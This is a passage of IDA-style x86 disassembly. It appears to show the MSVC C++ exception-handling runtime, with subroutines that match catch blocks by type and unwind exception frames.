		jnz	short loc_42F46E
		jmp	loc_42F68C
; ---------------------------------------------------------------------------


loc_42F46E:				; CODE XREF: sub_42F3F0+77j
		call	sub_42B630
		mov	edx, [eax+6Ch]
		mov	[ebp+arg_0], edx
		call	sub_42B630
		mov	eax, [eax+70h]
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], 1
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4359D0
		add	esp, 8
		test	eax, eax
		jz	short loc_42F4A3
		mov	[ebp+var_2C], 0
		jmp	short loc_42F4AB
; ---------------------------------------------------------------------------


loc_42F4A3:				; CODE XREF: sub_42F3F0+A8j
		call	sub_430060
		mov	[ebp+var_2C], eax


loc_42F4AB:				; CODE XREF: sub_42F3F0+B1j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42F4DE
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42F4DE
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_42F4DE
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42F4DE
		call	sub_430060
		mov	[ebp+var_30], eax
		jmp	short loc_42F4E5
; ---------------------------------------------------------------------------


loc_42F4DE:				; CODE XREF: sub_42F3F0+C4j
					; sub_42F3F0+CDj ...
		mov	[ebp+var_30], 0


loc_42F4E5:				; CODE XREF: sub_42F3F0+3Ej
					; sub_42F3F0+4Bj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	loc_42F64C
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 3
		jnz	loc_42F64C
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	loc_42F64C
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_423600
		add	esp, 14h
		mov	[ebp+var_10], eax
		jmp	short loc_42F544
; ---------------------------------------------------------------------------


loc_42F532:				; CODE XREF: sub_42F3F0:loc_42F565j
					; sub_42F3F0:loc_42F62Aj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 14h
		mov	[ebp+var_10], eax


loc_42F544:				; CODE XREF: sub_42F3F0+140j
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_C]
		jnb	loc_42F62F
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		cmp	eax, [ebp+var_4]
		jg	short loc_42F565
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jle	short loc_42F567


loc_42F565:				; CODE XREF: sub_42F3F0+168j
		jmp	short loc_42F532
; ---------------------------------------------------------------------------


loc_42F567:				; CODE XREF: sub_42F3F0+173j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_42F58D
; ---------------------------------------------------------------------------


loc_42F57B:				; CODE XREF: sub_42F3F0:loc_42F625j
		mov	ecx, [ebp+var_24]
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		mov	[ebp+var_1C], edx


loc_42F58D:				; CODE XREF: sub_42F3F0+189j
		cmp	[ebp+var_24], 0
		jle	loc_42F62A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		add	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_42F5C8
; ---------------------------------------------------------------------------


loc_42F5B6:				; CODE XREF: sub_42F3F0+1FBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_18]
		add	edx, 4
		mov	[ebp+var_18], edx


loc_42F5C8:				; CODE XREF: sub_42F3F0+1C4j
		cmp	[ebp+var_20], 0
		jle	short loc_42F625
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+var_18]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42F7B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F5ED
		jmp	short loc_42F5B6
; ---------------------------------------------------------------------------


loc_42F5ED:				; CODE XREF: sub_42F3F0+1F9j
		mov	dl, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F9A0
; ---------------------------------------------------------------------------
		add	esp, 2Ch
		jmp	short loc_42F68A
; ---------------------------------------------------------------------------


loc_42F625:				; CODE XREF: sub_42F3F0+1DCj
		jmp	loc_42F57B
; ---------------------------------------------------------------------------


loc_42F62A:				; CODE XREF: sub_42F3F0+1A1j
					; sub_42F3F0:loc_42F68Aj
		jmp	loc_42F532
; ---------------------------------------------------------------------------


loc_42F62F:				; CODE XREF: sub_42F3F0+15Aj
		mov	edx, [ebp+arg_14]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_42F64A
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FE80
		add	esp, 8


loc_42F64A:				; CODE XREF: sub_42F3F0+24Aj
		jmp	short loc_42F688
; ---------------------------------------------------------------------------


loc_42F64C:				; CODE XREF: sub_42F3F0+FEj
					; sub_42F3F0+10Bj ...
		mov	ecx, [ebp+arg_14]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_42F683
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F690
		add	esp, 20h
		jmp	short loc_42F688
; ---------------------------------------------------------------------------


loc_42F683:				; CODE XREF: sub_42F3F0+267j
		call	sub_42FFB0


loc_42F688:				; CODE XREF: sub_42F3F0:loc_42F64Aj
					; sub_42F3F0+291j
		jmp	short loc_42F68C
; ---------------------------------------------------------------------------


loc_42F68A:				; CODE XREF: sub_42F3F0+233j
		jmp	short loc_42F62A
; ---------------------------------------------------------------------------


loc_42F68C:				; CODE XREF: sub_42F3F0+79j
					; sub_42F3F0:loc_42F688j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F3F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F690	proc near		; CODE XREF: sub_42F3F0+289p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	sub_42B630
		cmp	dword ptr [eax+68h], 0
		jz	short loc_42F6CE
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4234A0
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_42F6CE
		jmp	loc_42F7A1
; ---------------------------------------------------------------------------


loc_42F6CE:				; CODE XREF: sub_42F690+Fj
					; sub_42F690+37j
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_423600
		add	esp, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_42F701
; ---------------------------------------------------------------------------


loc_42F6EF:				; CODE XREF: sub_42F690:loc_42F759j
					; sub_42F690+10Cj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 14h
		mov	[ebp+var_8], ecx


loc_42F701:				; CODE XREF: sub_42F690+5Dj
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jnb	loc_42F7A1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [eax]
		jl	short loc_42F759
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_14]
		cmp	eax, [edx+4]
		jg	short loc_42F759
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		sub	edx, 1
		shl	edx, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx+edx+4], 0
		jz	short loc_42F75B
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		mov	eax, [edx+eax+4]
		movsx	ecx, byte ptr [eax+8]
		test	ecx, ecx
		jz	short loc_42F75B


loc_42F759:				; CODE XREF: sub_42F690+85j
					; sub_42F690+90j
		jmp	short loc_42F6EF
; ---------------------------------------------------------------------------


loc_42F75B:				; CODE XREF: sub_42F690+A9j
					; sub_42F690+C7j
		push	1
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		add	edx, eax
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F9A0
; ---------------------------------------------------------------------------
		add	esp, 2Ch
		jmp	loc_42F6EF
; ---------------------------------------------------------------------------


loc_42F7A1:				; CODE XREF: sub_42F690+39j
					; sub_42F690+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F7B0	proc near		; CODE XREF: sub_42F3F0+1EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42F7CB
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jnz	short loc_42F7D5


loc_42F7CB:				; CODE XREF: sub_42F7B0+Bj
		mov	eax, 1
		jmp	loc_42F862
; ---------------------------------------------------------------------------


loc_42F7D5:				; CODE XREF: sub_42F7B0+19j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+4]
		cmp	eax, [edx+4]
		jz	short loc_42F807
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		add	ecx, 8
		push	ecx
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jz	short loc_42F807
		xor	eax, eax
		jmp	short loc_42F862
; ---------------------------------------------------------------------------


loc_42F807:				; CODE XREF: sub_42F7B0+31j
					; sub_42F7B0+51j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 2
		test	eax, eax
		jz	short loc_42F81F
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 8
		test	edx, edx
		jz	short loc_42F858


loc_42F81F:				; CODE XREF: sub_42F7B0+61j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42F837
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 1
		test	eax, eax
		jz	short loc_42F858


loc_42F837:				; CODE XREF: sub_42F7B0+79j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		and	edx, 2
		test	edx, edx
		jz	short loc_42F84F
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42F858


loc_42F84F:				; CODE XREF: sub_42F7B0+91j
		mov	[ebp+var_4], 1
		jmp	short loc_42F85F
; ---------------------------------------------------------------------------


loc_42F858:				; CODE XREF: sub_42F7B0+6Dj
					; sub_42F7B0+85j ...
		mov	[ebp+var_4], 0


loc_42F85F:				; CODE XREF: sub_42F7B0+A6j
		mov	eax, [ebp+var_4]


loc_42F862:				; CODE XREF: sub_42F7B0+20j
					; sub_42F7B0+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F7B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F870	proc near		; CODE XREF: .XComp0:004233DAp
					; sub_42F300+4Cp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F2A8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_1C], ecx


loc_42F89F:				; CODE XREF: sub_42F870+BFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_C]
		jz	loc_42F934
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jle	short loc_42F8C5
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+4]
		jge	short loc_42F8C5
		mov	[ebp+var_20], 0
		jmp	short loc_42F8CD
; ---------------------------------------------------------------------------


loc_42F8C5:				; CODE XREF: sub_42F870+3Fj
					; sub_42F870+4Aj
		call	sub_430060
		mov	[ebp+var_20], eax


loc_42F8CD:				; CODE XREF: sub_42F870+53j
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [eax+ecx*8+4], 0
		jz	short loc_42F900
		push	103h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+edx*8+4]
		push	eax
		call	sub_42FF60


loc_42F900:				; CODE XREF: sub_42F870+72j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F920
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42F970
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F920:				; CODE XREF: sub_42F870+97j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		mov	edx, [eax+ecx*8]
		mov	[ebp+var_1C], edx
		jmp	loc_42F89F
; ---------------------------------------------------------------------------


loc_42F934:				; CODE XREF: sub_42F870+35j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_42F945
		mov	[ebp+var_24], 0
		jmp	short loc_42F94D
; ---------------------------------------------------------------------------


loc_42F945:				; CODE XREF: sub_42F870+CAj
		call	sub_430060
		mov	[ebp+var_24], eax


loc_42F94D:				; CODE XREF: sub_42F870+D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+8], edx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42F870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F970	proc near		; CODE XREF: sub_42F870+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0E06D7363h
		jz	short loc_42F991
		jmp	short loc_42F996
; ---------------------------------------------------------------------------


loc_42F991:				; CODE XREF: sub_42F970+1Dj
		call	sub_42FFB0


loc_42F996:				; CODE XREF: sub_42F970+1Fj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_42F970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_42F9A0	proc near		; CODE XREF: sub_42F3F0+22Bp
					; sub_42F690+104p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

; FUNCTION CHUNK AT 0042F9EC SIZE 0000006B BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_42F9CA
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42FC00
		add	esp, 10h


loc_42F9CA:				; CODE XREF: sub_42F9A0+10j
		cmp	[ebp+arg_24], 0
		jnz	short loc_42F9DF
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_423320
; ---------------------------------------------------------------------------
		jmp	short loc_42F9EC
; ---------------------------------------------------------------------------


loc_42F9DF:				; CODE XREF: sub_42F9A0+2Ej
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_24]
		push	edx
		call	sub_423320
sub_42F9A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F9A0


loc_42F9EC:				; CODE XREF: sub_42F9A0+3Dj
		mov	eax, [ebp+arg_1C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42F870
		add	esp, 10h
		mov	edx, [ebp+arg_1C]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		push	100h
		mov	edx, [ebp+arg_20]
		push	edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42FA60
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42FA53
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4232B0


loc_42FA53:				; CODE XREF: sub_42F9A0+A4j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42F9A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FA60	proc near		; CODE XREF: sub_42F9A0+95p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0042FB9B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F2B8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx-4]
		mov	[ebp+var_28], edx
		call	sub_42B630
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_42B630
		mov	ecx, [eax+70h]
		mov	[ebp+var_20], ecx
		call	sub_42B630
		mov	edx, [ebp+arg_0]
		mov	[eax+6Ch], edx
		call	sub_42B630
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4233F0
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], 0
		jmp	short loc_42FB2F
; ---------------------------------------------------------------------------


loc_42FAFE:				; DATA XREF: .XComp0:0043F2C8o
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42FBB0
		add	esp, 4
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; DATA XREF: .XComp0:0043F2CCo
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 0
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_4236D2
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42FB9E
; ---------------------------------------------------------------------------


loc_42FB2F:				; CODE XREF: sub_42FA60+9Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42FB3D
		jmp	short loc_42FB9B
sub_42FA60	endp


; =============== S U B	R O U T	I N E =======================================



sub_42FB3D	proc near		; CODE XREF: sub_42FA60+D6p
					; DATA XREF: .XComp0:0043F2C0o
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-28h]
		mov	[eax-4], ecx
		call	sub_42B630
		mov	edx, [ebp-1Ch]
		mov	[eax+6Ch], edx
		call	sub_42B630
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		mov	edx, [ebp+8]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short locret_42FB9A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+10h], 3
		jnz	short locret_42FB9A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short locret_42FB9A
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_42FB9A
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_42FB9A
		call	sub_42373A
		push	eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42FE80
		add	esp, 8

locret_42FB9A:				; CODE XREF: sub_42FB3D+28j
					; sub_42FB3D+31j ...
		retn
sub_42FB3D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA60


loc_42FB9B:				; CODE XREF: sub_42FA60+DBj
		mov	eax, [ebp+var_2C]


loc_42FB9E:				; CODE XREF: sub_42FA60+CDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42FA60
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FBB0	proc near		; CODE XREF: sub_42FA60+A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42FBEC
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42FBEC
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_42FBEC
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42FBEC
		mov	eax, 1
		jmp	short loc_42FBEE
; ---------------------------------------------------------------------------


loc_42FBEC:				; CODE XREF: sub_42FBB0+15j
					; sub_42FBB0+1Ej ...
		xor	eax, eax


loc_42FBEE:				; CODE XREF: sub_42FBB0+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42FBB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FC00	proc near		; CODE XREF: sub_42F9A0+22p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F2D0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42FC46
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jz	short loc_42FC46
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42FC4B


loc_42FC46:				; CODE XREF: sub_42FC00+2Dj
					; sub_42FC00+3Bj
		jmp	loc_42FE6A
; ---------------------------------------------------------------------------


loc_42FC4B:				; CODE XREF: sub_42FC00+44j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_4]
		lea	edx, [ecx+eax+0Ch]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42FCC6
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4359D0
		add	esp, 8
		test	eax, eax
		jz	short loc_42FCBC
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_435A00
		add	esp, 8
		test	eax, eax
		jz	short loc_42FCBC
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		mov	[edx], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	ecx
		call	sub_42FF10
		add	esp, 8
		mov	edx, [ebp+var_1C]
		mov	[edx], eax
		jmp	short loc_42FCC1
; ---------------------------------------------------------------------------


loc_42FCBC:				; CODE XREF: sub_42FC00+81j
					; sub_42FC00+93j
		call	sub_430060


loc_42FCC1:				; CODE XREF: sub_42FC00+BAj
		jmp	loc_42FE53
; ---------------------------------------------------------------------------


loc_42FCC6:				; CODE XREF: sub_42FC00+6Cj
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42FD4A
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4359D0
		add	esp, 8
		test	eax, eax
		jz	short loc_42FD40
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_435A00
